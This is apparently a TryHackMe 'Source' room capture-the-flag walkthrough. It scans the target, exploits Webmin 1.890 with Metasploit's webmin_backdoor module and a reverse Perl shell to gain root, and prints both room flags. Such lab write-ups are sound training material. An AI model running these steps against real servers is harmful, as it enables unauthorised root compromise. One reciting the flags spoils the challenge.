

tryhackme:

→source box

Download the vpn file and after download run this command in terminal :

```
sudo openvpn filename.ovpn
```

go to tryhackme.com/r/room/source

join the room

get the attacker machine ip

to check the target machine is up use ping command :

```
ping 10.10.68.16 (target ip )
```

run a rustscan on the target to find open ports:

```
rustscan -a 10.10.68.16
```

got result from rustscan :

```
Completed SYN Stealth Scan at 22:13, 0.26s elapsed (2 total ports)
Nmap scan report for 10.10.68.16
Host is up, received echo-reply ttl 63 (0.22s latency).
Scanned at 2024-10-22 22:13:45 PDT for 0s
```

PORT	STATE	SERVICE	REASON
22/tcp	open	ssh	syn-ack ttl 63
10000/tcp	open	snet-sensor-mgmt	syn-ack ttl 63

scanning it with nmap :

```
-$ sudo nmap -sC -sV -O -T4 10.10.68.16 -p 22,10000
```

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-22 22:16 I
Nmap scan report for 10.10.68.16
Host is up (0.16s latency).
```

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu
| ssh-hostkey:
|   2048 b7:4c:d0:bd:e2:7b:1b:15:72:27:64:56:29:15:ea:23 (RSA)
|   256 b7:85:23:11:4f:44:fa:22:00:8e:40:77:5e:cf:28:7c (ECDSA)
|_  256 a9:fe:4b:82:bf:89:34:59:36:5b:ec:da:c2:d3:95:ce (ED25519)
10000/tcp  open  http     MiniServ 1.890 (Webmin httpd)
```

using msf :

and search with the version of http

use exploit 0

set rhost , set Lhost , set ssl to True

show options

after confirming enter "run" command :

```
sudo msfconsole
msf6 > search webmin 1.890
```

Matching Modules

=====

#	Name	Disclosure Date
-	----	-----
0	exploit/linux/http/webmin_backdoor	2019-08-10
1	_ target: Automatic (Unix In-Memory)	.

```
2      \_ target: Automatic (Linux Dropper)      .
```

Interact with a module by name or index. For example info 2, use 2. After interacting with a module you can manually set a TARGET with:

```
msf6 > use 0
```

```
msf6 exploit(linux/http/webmin_backdoor) > set rhosts 10.10.68.16
rhosts => 10.10.68.16
```

```
msf6 exploit(linux/http/webmin_backdoor) > set ssl true
[!] Changing the SSL option's value may require changing RPORT!
ssl => true
```

```
msf6 exploit(linux/http/webmin_backdoor) > show options
```

Module options (exploit/linux/http/webmin_backdoor):

Name	Current Setting	Required	Description
----	-----	-----	-----
Proxies		no	A proxy chain of format
RHOSTS	10.10.68.16	yes	The target host(s), se
RPORT	10000	yes	The target port (TCP)
SSL	true	no	Negotiate SSL/TLS for
SSLCert		no	Path to a custom SSL c
TARGETURI	/	yes	Base path to Webmin
URIPATH		no	The URI to use for thi
VHOST		no	HTTP server virtual ho

When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lv

Name	Current Setting	Required	Description
----	-----	-----	-----
SRVHOST	0.0.0.0	yes	The local host or networl
SRVPORT	8080	yes	The local port to listen

Payload options (cmd/unix/reverse_perl):

Name	Current Setting	Required	Description
----	-----	-----	-----
LHOST		yes	The listen address (an interface on the host)
LPORT	4444	yes	The listen port

```
msf6 exploit(linux/http/webmin_backdoor) > set lhost 10.21.73.150
lhost => 10.21.73.150
```

```
msf6 exploit(linux/http/webmin_backdoor) > run
```

```
[*] Started reverse TCP handler on 10.21.73.150:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (10.21.73.150:4444 -> 10.10.10.10)
```

```
whoami
root
ls
JSON
LICENCE
LICENCE.ja
README
WebminCore.pm
WebminUI
acl
acl_security.pl
adsl-client
ajaxterm
apache
at
```

```
authentic-theme
backup-config
bacula-backup
```

run the "shell" command to stable terminal

```
xmlrpc.cgi
pwd
/usr/share/webmin
shell
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash
pwd
pwd
/usr/share/webmin
root@source:/usr/share/webmin/# cd ../../
cd ../../
root@source:/usr# cd ..
cd ..
root@source:/# pwd
/
root@source:/# ls
ls
bin      etc          lib          mnt      run      swap.img    var
boot     home         lib64        opt      sbin     sys         vmlinu:
cdrom    initrd.img   lost+found   proc     snap     tmp         vmlinu:
dev      initrd.img.old media        root     srv      usr         webmin:
root@source:/# cd root
cd root
root@source:~# ls
ls
root.txt
```


```

root@source:~# cat root.txt
cat root.txt
THM{UPDATE_YOUR_INSTALL}
root@source:~# cd home
cd home
bash: cd: home: No such file or directory
root@source:~# ls -l
ls -l
total 4
-rw-r--r-- 1 root root 25 Jun 26 2020 root.txt
root@source:~# cd ..
cd ..
root@source:/# ls
ls
bin      etc          lib          mnt      run      swap.img    var
boot     home         lib64        opt      sbin     sys         vmlinu:
cdrom    initrd.img   lost+found   proc     snap     tmp         vmlinu:
dev      initrd.img.old media        root     srv      usr         webmin:
root@source:/# cd home
cd home
root@source:/home# ls
ls
dark
root@source:/home# cd dark
cd dark
root@source:/home/dark# ls
ls
user.txt  webmin_1.890_all.deb
root@source:/home/dark# cat user.txt
cat user.txt
THM{SUPPLY_CHAIN_COMPROMISE}
root@source:/home/dark#

```

ans1: THM{SUPPLY_CHAIN_COMPROMISE}

ans2: THM{UPDATE_YOUR_INSTALL}



Congratulations on completing Source!!! 🎉

Points earned 🎯 60	Completed tasks 📋 1	Room type 🚩 Challenge	Difficulty 📶 Easy	Streak 🔥 1
-----------------------	------------------------	--------------------------	----------------------	---------------

[🗉 Leave Feedback](#) [Next](#)